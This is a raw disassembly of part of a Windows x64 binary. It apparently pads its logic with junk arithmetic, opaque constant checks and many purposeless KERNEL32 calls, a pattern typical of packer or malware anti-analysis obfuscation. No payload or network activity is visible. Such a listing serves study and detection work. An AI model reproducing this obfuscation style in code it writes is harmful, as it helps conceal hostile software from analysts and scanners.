cmp dword [rsp + 0x630c], 0xc349
je 0x140016317
mov rax, qword [rsp + 0xa148]
mov rcx, qword [rsp + 0xc008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1a0], rax
movzx ecx, word [rsp + 0x1f18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f28], ax
movsx eax, byte [rsp + 0x376]
movsx ecx, byte [rsp + 0x375]
sub eax, ecx
mov byte [rsp + 0x1d7], al
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov r9d, 1
lea r8, [rsp + 0xc1e0]
mov rdx, qword [rsp + 0xc318]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62b4], eax
movzx ecx, word [rsp + 0x1f4c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f04], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [rsp + 0x62a4]
mov ecx, dword [rsp + 0x62f4]
or ecx, eax
mov eax, ecx
mov dword [0x1401c7008], eax
movzx eax, byte [rsp + 0x253]
movzx ecx, byte [str.5qKr]
shl eax, cl
mov byte [rsp + 0x26d], al
mov eax, dword [rsp + 0x62d4]
mov ecx, dword [rsp + 0x6398]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5728], eax
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f50]
add eax, ecx
mov word [rsp + 0x1f1c], ax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f14]
xor eax, ecx
mov word [rsp + 0xfdc], ax
movsx eax, byte [rsp + 0x376]
movsx ecx, byte [rsp + 0x375]
and eax, ecx
mov byte [rsp + 0x1d7], al
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rsp + 0xc290]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x63ec], eax
mov eax, dword [rsp + 0x6328]
movzx ecx, al
mov eax, dword [rsp + 0x62f4]
shr eax, cl
mov dword [rsp + 0x5ed0], eax
lea rcx, [rsp + 0x1fbb8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6324], eax
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6404], eax
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc0d8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1a0], rax
movsx eax, word [rsp + 0x137c]
movsx ecx, word [rsp + 0x1f1c]
shl eax, cl
mov word [rsp + 0x1d04], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov eax, dword [rsp + 0x630c]
add eax, 0xf0
mov dword [rsp + 0x630c], eax
mov eax, dword [rsp + 0x6380]
mov ecx, dword [rsp + 0x62f4]
sub ecx, eax
mov eax, ecx
mov dword [0x1401c7008], eax
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0xa5c]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rax, qword [rsp + 0xc088]
mov rcx, qword [rsp + 0xba40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0d8], rax
mov rax, qword [rsp + 0xc0b0]
mov rcx, qword [rsp + 0xc118]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc130], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6304], eax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1f50], ax
mov rax, qword [section..data]
movzx ecx, al
mov rax, qword [rsp + 0xc0d8]
shr rax, cl
mov qword [rsp + 0xbeb8], rax
movsx eax, byte [rsp + 0x375]
movsx ecx, byte [rsp + 0x376]
shl eax, cl
mov byte [rsp + 0x1d7], al
mov r9d, 1
lea r8, [rsp + 0xc198]
mov rdx, qword [rsp + 0xc098]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x637c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov eax, dword [rsp + 0x6328]
mov ecx, dword [rsp + 0x5ed0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x62f4], eax
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6408], eax
movzx eax, byte [str.5qKr]
movzx ecx, byte [rsp + 0x253]
xor eax, ecx
mov byte [rsp + 0x30b], al
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x376]
movsx ecx, byte [rsp + 0x375]
sub eax, ecx
mov byte [0x1401c8a12], al
xor r9d, r9d
lea r8, [rsp + 0xc318]
mov rdx, qword [rsp + 0xc318]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x632c], eax
movsx eax, word [rsp + 0x137c]
movsx ecx, word [rsp + 0x1d04]
sub eax, ecx
mov word [rsp + 0x1f50], ax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1f0c], ax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f3c]
or eax, ecx
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xba40]
movzx ecx, al
mov rax, qword [rsp + 0xc088]
shl rax, cl
mov qword [rsp + 0xc0b0], rax
movsx eax, byte [rsp + 0x376]
movsx ecx, byte [rsp + 0x1d7]
sub eax, ecx
mov byte [rsp + 0x375], al
mov rax, qword [rsp + 0xbeb8]
mov rcx, qword [rsp + 0xc0d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1a0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc0a0], rax
mov eax, dword [rsp + 0x6328]
mov ecx, dword [rsp + 0x5ed0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6254], eax
jmp 0x140015e50
movzx ecx, word [rsp + 0x1f4c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f54], ax
cmp dword [rsp + 0x629c], 0xa9e8
ja 0x1400167ab
movsx eax, word [rsp + 0x1f50]
movsx ecx, word [rsp + 0x1f1c]
add eax, ecx
mov word [rsp + 0x1d04], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
movzx eax, word [rsp + 0x1f3c]
movzx ecx, word [rsp + 0x1f38]
add eax, ecx
mov word [rsp + 0x1f0c], ax
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [rsp + 0x26d]
shl eax, cl
mov byte [str.5qKr], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
movzx ecx, word [rsp + 0x1f4c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f34], ax
mov rax, qword [rsp + 0xc1d8]
mov rcx, qword [rsp + 0xb910]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xba40], rax
mov rax, qword [rsp + 0xc088]
mov rcx, qword [rsp + 0xc218]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xba40], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc090], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
movsx eax, byte [rsp + 0x1d7]
movsx ecx, byte [rsp + 0x375]
sar eax, cl
mov byte [rsp + 0x376], al
mov eax, dword [rsp + 0x62a4]
mov ecx, dword [rsp + 0x5ed0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6380], eax
movzx eax, byte [rsp + 0x30b]
movzx ecx, byte [rsp + 0x374]
sub eax, ecx
mov byte [rsp + 0x26d], al
mov eax, dword [rsp + 0x5728]
movzx ecx, al
mov eax, dword [rsp + 0x6398]
sar eax, cl
mov dword [rsp + 0x62cc], eax
mov rax, qword [rsp + 0xc1a0]
movzx ecx, al
mov rax, qword [section..data]
shl rax, cl
mov qword [rsp + 0xbeb8], rax
lea rcx, [rsp + 0x1d368]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d04]
or eax, ecx
mov rcx, qword [rsp + 0xc2b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc268]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc288], rax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f44], ax
movzx eax, word [rsp + 0x1f38]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
mov eax, dword [rsp + 0x6348]
mov ecx, dword [rsp + 0x62a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62f4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov r9d, 1
lea r8, [rsp + 0xc098]
mov rdx, qword [rsp + 0xc320]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62b0], eax
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xa148]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbeb8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc080], rax
movsx eax, byte [rsp + 0x1d7]
movsx ecx, byte [rsp + 0x376]
xor eax, ecx
mov byte [rsp + 0x375], al
mov eax, dword [rsp + 0x629c]
add eax, 0x90
mov dword [rsp + 0x629c], eax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1f50], ax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f20]
sar eax, cl
mov word [rsp + 0x1f14], ax
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov eax, dword [rsp + 0x6400]
movzx ecx, al
mov eax, dword [rsp + 0x63c4]
shl eax, cl
mov dword [0x1401c8a18], eax
mov rax, qword [rsp + 0xc088]
mov rcx, qword [rsp + 0xc118]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0d8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0xc218]
mov rcx, qword [rsp + 0xc088]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1d8], rax
mov rax, qword [rsp + 0xc218]
mov rcx, qword [rsp + 0x9ae8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc2e8], rax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1f20], ax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov eax, dword [rsp + 0x62d0]
mov ecx, dword [rsp + 0x6398]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62cc], eax
mov eax, dword [rsp + 0x62f4]
mov ecx, dword [rsp + 0x5ed0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62a4], eax
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62b0], eax
movzx ecx, word [rsp + 0x1f40]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f40], ax
jmp 0x14001632d
lea rax, [rsp + 0x376]
mov qword [rsp + 0xc328], rax
mov eax, dword [rsp + 0x62cc]
mov dword [rsp + 0x640c], eax
cmp dword [rsp + 0x640c], 0x3f365217
je 0x1400167d8
jmp 0x1400167ea
call qword [sym.imp.KERNEL32.dll_SwitchToThread]
mov dword [rsp + 0x6268], eax
jmp 0x1401964e4
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
mov dword [rsp + 0x6410], eax
cmp dword [rsp + 0x6410], 0x3ca
je 0x14001680e
jmp 0x140016896
movzx eax, word [rsp + 0x1f44]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1f0c], ax
mov r8d, 0x24
mov edx, 0xfe
mov rcx, qword [rsp + 0xc2e0]
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov dword [rsp + 0x635c], eax
mov rax, qword [rsp + 0xc0b0]
movzx ecx, al
mov rax, qword [rsp + 0xc118]
sar rax, cl
mov qword [rsp + 0xc218], rax
mov r9, qword [rsp + 0xc1a0]
mov rax, qword [rsp + 0xc328]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x374]
mov ecx, dword [rsp + 0x62f4]
call fcn.140197b30
jmp 0x140016924
mov eax, dword [rsp + 0x62f4]
mov dword [rsp + 0x6414], eax
cmp dword [rsp + 0x6414], 0xc232
je 0x1400168b3
jmp 0x140016902
lea r9, [rsp + 0xc2a0]
mov r8d, SHTestTokenMembership
mov rdx, qword [rsp + 0xc148]
mov rcx, qword [rsp + 0xc1e8]
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
mov dword [rsp + 0x6418], eax
call qword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
lea rdx, [rsp + 0xc160]
lea rcx, [fcn.140197b30]
call qword [sym.imp.KERNEL32.dll_GetLogicalProcessorInformation]
mov dword [rsp + 0x641c], eax
jmp 0x140016924
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov eax, dword [rsp + 0x6328]
movzx ecx, al
mov eax, dword [rsp + 0x63c4]
shl eax, cl
mov dword [rsp + 0x5ed0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.A8gdsfuzXiQwZCPBJGWF
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc330], rax
mov rax, qword [rsp + 0xa148]
mov rcx, qword [rsp + 0xc0d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1a0], rax
xor r9d, r9d
lea r8, [rsp + 0xc1e0]
mov rdx, qword [rsp + 0xc320]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x63ec], eax
cmp dword [rsp + 0x6300], 0x7c2f
jbe 0x140016ae6
movzx ecx, word [rsp + 0x1f10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f48], ax
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x376]
add eax, ecx
mov byte [rsp + 0x375], al
xor r9d, r9d
lea r8, [rsp + 0xc190]
mov rdx, qword [rsp + 0xc1e0]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6420], eax
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f50], ax
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x375]
or eax, ecx
mov byte [0x1401c8a12], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x62bc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0xc088]
movzx ecx, al
mov rax, qword [rsp + 0xc0b0]
shl rax, cl
mov qword [rsp + 0xc1d8], rax
mov eax, dword [rsp + 0x6300]
sub eax, 0xf
mov dword [rsp + 0x6300], eax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f20]
sar eax, cl
mov word [rsp + 0x1f44], ax
movzx ecx, word [rsp + 0x1f08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f54], ax
movzx eax, byte [rsp + 0x26d]
movzx ecx, byte [rsp + 0x30b]
add eax, ecx
mov byte [rsp + 0x253], al
jmp 0x1400169a6
mov eax, dword [rsp + 0x62d4]
mov ecx, dword [rsp + 0x62cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6398], eax
movzx ecx, word [rsp + 0x1f4c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f58], ax
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x376]
and eax, ecx
mov byte [rsp + 0x1d7], al
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc0d8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1a0], rax
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62b4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6324], eax
mov eax, dword [rsp + 0x62f4]
movzx ecx, al
mov eax, dword [rsp + 0x6380]
shr eax, cl
mov dword [rsp + 0x6348], eax
movsx eax, word [rsp + 0x1f50]
movsx ecx, word [0x1401c8a14]
shl eax, cl
mov word [rsp + 0x1d04], ax
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
movzx ecx, word [rsp + 0x1f04]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f04], ax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401c8a10], ax
mov rax, qword [rsp + 0xc218]
mov rcx, qword [rsp + 0xc088]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xba40], rax
mov eax, dword [rsp + 0x6318]
add eax, 0xfd
mov dword [rsp + 0x6318], eax
mov rax, qword [rsp + 0xc2e8]
mov rcx, qword [rsp + 0x9ae8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb910], rax
movsx eax, word [rsp + 0x137c]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f1c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc338], rax
movzx eax, word [rsp + 0x1f3c]
movzx ecx, word [rsp + 0x1f38]
sub eax, ecx
mov word [rsp + 0xa5c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x627c], eax
mov eax, dword [0x1401c8a18]
mov dword [rsp + 0x63c4], eax
mov rax, qword [rsp + 0xa148]
mov rcx, qword [rsp + 0xc1a0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbeb8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
movsx eax, byte [rsp + 0x376]
mov rcx, qword [rsp + 0xc328]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1d7], al
mov rax, qword [rsp + 0xc218]
movzx ecx, al
mov rax, qword [rsp + 0xba40]
sar rax, cl
mov qword [rsp + 0xc1d8], rax
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov r9d, 2
lea r8, [rsp + 0xc318]
mov rdx, qword [rsp + 0xc320]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62b0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea rcx, [rsp + 0x1fc78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x6318], 0x43ea
jbe 0x140016ae6
movzx eax, byte [rsp + 0x376]
mov byte [0x1401c8a13], al
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
mov dword [rsp + 0x6424], eax
cmp dword [rsp + 0x6424], 0x15
je 0x140016d96
jmp 0x140016dda
lea r8, [rsp + 0x63e8]
lea rdx, [rsp + 0x6398]
mov rcx, qword [rsp + 0xc340]
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov dword [rsp + 0x641c], eax
mov eax, dword [rsp + 0x6398]
movzx ecx, al
mov eax, dword [rsp + 0x62cc]
shl eax, cl
mov dword [rsp + 0x62d4], eax
jmp 0x1401963ac
mov r9d, 1
lea r8, [rsp + 0xc318]
mov rdx, qword [rsp + 0xc190]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6404], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc348], rax
mov rax, qword [rsp + 0xc0b0]
movzx ecx, al
mov rax, qword [rsp + 0xc218]
sar rax, cl
mov qword [rsp + 0xa1e0], rax
mov eax, dword [rsp + 0x6380]
mov ecx, dword [rsp + 0x62f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6348], eax
movzx eax, byte [rsp + 0x1d7]
mov byte [rsp + 0x377], al
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0xc0d8]
mov rcx, qword [rsp + 0xbeb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1a0], rax
cmp dword [rsp + 0x6320], 0xf08c
jae 0x140017201
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x137c]
add eax, ecx
mov word [0x1401c8a14], ax
movzx eax, word [rsp + 0xa5c]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f38], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6394], eax
mov rax, qword [rsp + 0xb0d8]
movzx ecx, al
mov rax, qword [rsp + 0xc130]
shl rax, cl
mov qword [rsp + 0x9ae8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc0a0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
xor r9d, r9d
lea r8, [rsp + 0xc320]
mov rdx, qword [rsp + 0xc318]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6428], eax
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62a8], eax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1f3c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x634c], eax
movsx eax, word [rsp + 0x137c]
movsx ecx, word [rsp + 0x1f1c]
sar eax, cl
mov word [rsp + 0x1d04], ax
mov rax, qword [rsp + 0xc218]
mov rcx, qword [rsp + 0xc088]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc118], rax
mov eax, dword [rsp + 0x6328]
mov ecx, dword [rsp + 0x6400]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x63c4], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc288], rax
lea rdx, [rsp + 0x25ff0]
mov rcx, qword [rsp + 0xc330]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x642c], eax
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xc008]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc210]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea rcx, str.miDzaj_APhz_NvuND5_Rx
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f54], ax
movsx eax, byte [rsp + 0x375]
mov rcx, qword [rsp + 0xc328]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x377], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa5c]
shl eax, cl
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6420], eax
mov rax, qword [rsp + 0xc0b0]
mov rcx, qword [rsp + 0xc218]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc130], rax
movzx eax, byte [rsp + 0x30b]
movzx ecx, byte [str.5qKr]
sar eax, cl
mov byte [rsp + 0x26d], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x375]
sub eax, ecx
mov rcx, qword [rsp + 0xc328]
mov byte [rcx], al
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x6320]
inc eax
mov dword [rsp + 0x6320], eax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d04]
add eax, ecx
mov word [rsp + 0x1f1c], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f20], ax
movzx ecx, word [rsp + 0x1f30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f34], ax
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62b4], eax
mov rax, qword [rsp + 0xc1a0]
mov rcx, qword [rsp + 0xbeb8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc210]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6430], eax
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x376]
add eax, ecx
mov byte [rsp + 0x1d7], al
jmp 0x140016ea5
lea rax, [rsp + 0xbeb8]
mov qword [rsp + 0xc350], rax
cmp dword [rsp + 0x631c], 0xba73
